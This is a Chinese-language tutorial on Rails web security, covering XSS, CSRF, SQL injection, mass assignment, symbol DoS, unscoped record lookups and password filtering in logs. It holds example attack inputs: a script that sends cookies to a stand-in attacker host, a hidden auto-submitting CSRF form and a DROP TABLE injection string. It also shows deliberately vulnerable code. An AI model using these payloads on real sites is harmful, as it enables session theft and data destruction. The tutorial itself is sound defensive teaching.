跨站脚本攻击XSS(Cross-Site Scripting)
XSS可说是网站界第一名常见的攻击模式,恶意的使用者可以将脚本程式码放在网页上让其他使用者执行,任何可以让使用者输入资料的网站,都必须小心这个问题。例如可以将以下的程式贴到网页上:
<script>alert('HACK YOU!');</script>
<img src=javascript:alert('HACK YOU!')>
<table background="javascript:alert('HACK YOU!')">
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
当一般使用者浏览到这一页时,就会跳出alert视窗,或是将敏感资料例如cookie内容传给攻击者。
要防范这个问题的方法,就是要逸出使用者输入的内容,例如将<script>
变成<script>
,使之显示出来的时候不让浏览器去执行。你可以会想只要逸出<script>
就好了吧?这就错了,请千万不要尝试建立黑名单过滤,你可以参观XSS Cheat Sheet这个网站,就会知道有非常多形式可以让浏览器去执行脚本程式。因此最简单又保险的方式,就是全部逸出。这在Rails 3版本已经变成预设行为,任何View样本的字串,都会做HTML溢出。
如果你知道资料是安全的不要逸出,这时你要用html_safe
或raw
方法:
"<p>safe</p>".html_safe
# 或
raw("<p>safe</p>")
如何开放使用者张贴HTML
但是有时候我们还是必须开放让使用者可以张贴简单的HTML内容,例如超连结、图片、标题等等。这时候我们可以用白名单的作法,Rails提供了sanitize()
方法可以过滤溢出。
跨站伪造请求CSRF(Cross-site request forgery)
CSRF是说攻击者可以利用别人的权限去执行网站上的操作,例如删除资料。例如,攻击者张贴了以下脚本到网页上:
<img src="/posts/delete_all">
攻击者自己当然是没有权限可以执行”/posts/delete_all”这一页,但是网站管理员有。当网站管理员看到这一页时,浏览器就触发了这个不预期的动作而把资料删除。
要防范CSRF,首先可以从区别GET和POST的HTTP请求开始。我们在路由一章提过:所有读取、查询性质操作,都应该用GET,而会修改或删除到资料的,则要用POST、PUT或DELETE。这样的设计,就可以防止上面的恶意程式码了,因为在浏览器中必须用表单form才能送出POST请求。
不过,这样还不够。因为即使是POST,浏览器还是可能不经过你同意而自动发送出去,例如:
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
所幸,Rails内建了CSRF防御功能,也就是所有的POST请求,都必须加上一个安全验证码。在app/controllers/application_controller.rb你会看到以下程式启用这个功能:
class ApplicationController < ActionController::Base
protect_from_forgery
end
这个功能会在所有的表单中自动插入安全验证码:
<form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post">
<div style="margin:0;padding:0;display:inline">
<input name="_method" type="hidden" value="put" />
<input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" />
</div>
如果POST请求没有带正确的验证码,Rails就会丢出一个ActionController:InvalidAuthenticityToken
的错误。
SQL injection注入攻击
SQL injection注入是说攻击者可以输入任意的SQL让网站执行,这可说是最有杀伤力的攻击。如果你写出以下这种直接把输入放在SQL条件中的程式:
Project.where("name = '#{params[:name]}'")
那么使用者只要输入:
x'; DROP TABLE users; --
最后执行的SQL就会变成
SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --'
其中的;
结束了第一句,第二句DROP TABLE users;
就让你欲哭无泪。
要处理这个问题,也是一样要对任何有包括使用者输入值的SQL语句做逸出。在Rails ActiveRecord的where方法中使用Hash或Array写法就会帮你处理,所以请一定都用这种写法,而不要使用上述的字串参数写法:
Project.where( { :name => params[:name] } )
# or
Project.where( ["name = ?", params[:name] ] )
如果你有用到以下的方法,ActiveRecord是不会自动帮你逸出,要特别注意:
- find_by_sql
- execute
- where 用字串参数
- group
- order
你可以自定一些固定的参数,并检查使用者输入的资料,例如:
class User < ActiveRecord::Base
def self.find_live_by_order(order)
raise "SQL Injection Warning" unless ["id","id desc"].include?(order)
where( :status => "live" ).order(order)
end
end
或是手动呼叫ActiveRecord::Base::connection.quote
方法:
class User < ActiveRecord::Base
def self.find_live_by_order(order)
where( :status => "live" ).order( connection.quote(order) )
end
end
大量赋值(Mass assignment)
Mass assignemet是个Rails专属,因为太方便而造成的安全性议题。ActiveRecord物件在新建或修改时,可以直接传入一个Hash来设定属性(这功能叫做Mass assignment ):
def create
params[:user] #=> {:name => “ow3ned”, :is_admin => true}
@user = User.create(params[:user])
end
def update
@user = User.update_attributes(params[:user])
end
但是如果这个Model包含一些敏感属性,例如此例中is_admin是个辨别是否是管理员的Boolean值,它不应该让使用者可以修改。这时候我们就必须用attr_protected或attr_accessible方法来保护这些属性:
class User < ActiveRecord::Base
attr_protected :is_admin
end
使用attr_protected
是黑名单,在Mass assignment时就会略过这个is_admin
这个属性。或是使用attr_accessible
则是白名单,在Mass assignment时只会设定这些属性:
class User < ActiveRecord::Base
attr_accessible :name
end
这些被保护的属性如果要给值,你就必须手动来了,而且通常会在不同的Controller,例如只会出现在后台管理中:
params[:user] #=> {:name => "ow3ned", :is_admin => true}
@user = User.new(params[:user])
@user.is_admin #=> false # not mass-assigned
@user.is_admin = true
@user.is_admin #=> true
Symbolize 问题
symbol是Ruby中常用的型态,相较于字串可以获得更好的执行效率,其占用记忆体较少,但其特性是不会被GC(garbage collection)记忆体回收的。因此只适合程式内部有限的情况中使用,而不要将使用者可以任意输入的参数做symbol化,例如:
if params[:category].to_sym == :first # 此例直接比较字串即可params[:category] == "first"
# do something
end
这样为什么会有安全性问题呢?这是因为如果恶意的使用者不断送出任意字元进行DoS(Denial of service attack)攻击,那么程式就会不断把params[:category]
做symbolize,产生无法回收的记忆体,进而把记忆体全部用光。
不受限的资讯查询
当你需要根据使用者传进来的params[:id]
做资料查询的时候,你需要注意查询的范围,例如以下是找订单:
def show
@order = Order.find(params[:id])
end
使用者只要随意变更params[:id]
,就可以查到别人的订单,你可能会写出以下的程式来防范:
def show
@order = Order.find(params[:id])
if @order.user_id != current_user.id
render :text => "你没有权限"
return
end
end
不过这是多余的写法,你其实只要透过ActiveRecord限定范围即可:
def show
@order = current_user.orders.find(params[:id])
end
这样如果没权限,就会变成找不到资料而已。
敏感资讯处理
网站的敏感资讯,例如密码、信用卡卡号等,请不要存在以下空间:
- cookie
- session
- flash * 长时间放在记忆体中
- Log档案*快取
其中Rails内建了log敏感资讯过滤的功能,在config/application.rb有一行这样的设定:
config.filter_parameters << :password
假设移除这一行,当使用者注册时输入密码,Log档案就会记录:
Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"= >"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}
其中的原始password就会被记录下来的,非常地不好。如果套用上述的设定,Rails则会过滤成:
Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST]
Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
这样就毫无记录了。